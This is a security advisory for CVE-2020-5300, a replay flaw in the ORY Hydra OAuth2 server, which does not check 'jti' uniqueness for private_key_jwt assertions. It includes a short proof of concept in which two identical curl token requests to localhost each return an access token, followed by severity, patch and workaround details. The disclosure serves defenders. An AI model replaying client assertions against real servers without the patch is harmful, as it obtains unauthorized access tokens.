CVE-2020-5300 – github.com/ory/hydra

Package

Manager: go
Name: github.com/ory/hydra
Vulnerable Version: >=0 <1.4.0

Severity

Level: Medium

CVSS v3.1: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:N/A:N

CVSS v4.0: CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

EPSS: 0.00192 pctl0.41292

Details

Authentication Bypass in hydra ### Impact When using client authentication method "private_key_jwt" [1], OpenId specification says the following about assertion `jti`: > A unique identifier for the token, which can be used to prevent reuse of the token. These tokens MUST only be used once, unless conditions for reuse were negotiated between the parties Hydra does not seem to check the uniqueness of this `jti` value. Here is me sending the same token request twice, hence with the same `jti` assertion, and getting two access tokens: ``` $ curl --insecure --location --request POST 'https://localhost/_/oauth2/token' \ --header 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'grant_type=client_credentials' \ --data-urlencode 'client_id=c001d00d-5ecc-beef-ca4e-b00b1e54a111' \ --data-urlencode 'scope=application openid' \ --data-urlencode 'client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer' \ --data-urlencode 'client_assertion=eyJhb [...] jTw' {"access_token":"zeG0NoqOtlACl8q5J6A-TIsNegQRRUzqLZaYrQtoBZQ.VR6iUcJQYp3u_j7pwvL7YtPqGhtyQe5OhnBE2KCp5pM","expires_in":3599,"scope":"application openid","token_type":"bearer"}⏎ ~$ curl --insecure --location --request POST 'https://localhost/_/oauth2/token' \ --header 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'grant_type=client_credentials' \ --data-urlencode 'client_id=c001d00d-5ecc-beef-ca4e-b00b1e54a111' \ --data-urlencode 'scope=application openid' \ --data-urlencode 'client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer' \ --data-urlencode 'client_assertion=eyJhb [...] jTw' {"access_token":"wOYtgCLxLXlELORrwZlmeiqqMQ4kRzV-STU2_Sollas.mwlQGCZWXN7G2IoegUe1P0Vw5iGoKrkOzOaplhMSjm4","expires_in":3599,"scope":"application openid","token_type":"bearer"} ``` ### Severity We rate the severity as medium because the following reasons make it hard to replay tokens without the patch: - TLS protects against MITM which makes it difficult to intercept valid tokens for replay attacks - The expiry time of the JWT gives only a short window of opportunity where it could be replayed ### Patches This will be patched with v1.4.0+oryOS.17 ### Workarounds Two workarounds have been identified: - Do not allow clients to use `private_key_jwt` - Use short expiry times for the JWTs ### References https://openid.net/specs/openid-connect-core-1_0.html#ClientAuthentication ### Upstream This issue will be resolved in the upstream repository https://github.com/ory/fosite

Metadata

Created: 2021-05-27T18:43:22Z
Modified: 2023-09-29T17:16:04Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/05/GHSA-3p3g-vpw6-4w66/GHSA-3p3g-vpw6-4w66.json
CWE IDs: ["CWE-294"]
Alternative ID: GHSA-3p3g-vpw6-4w66
Finding: F115
Auto approve: 1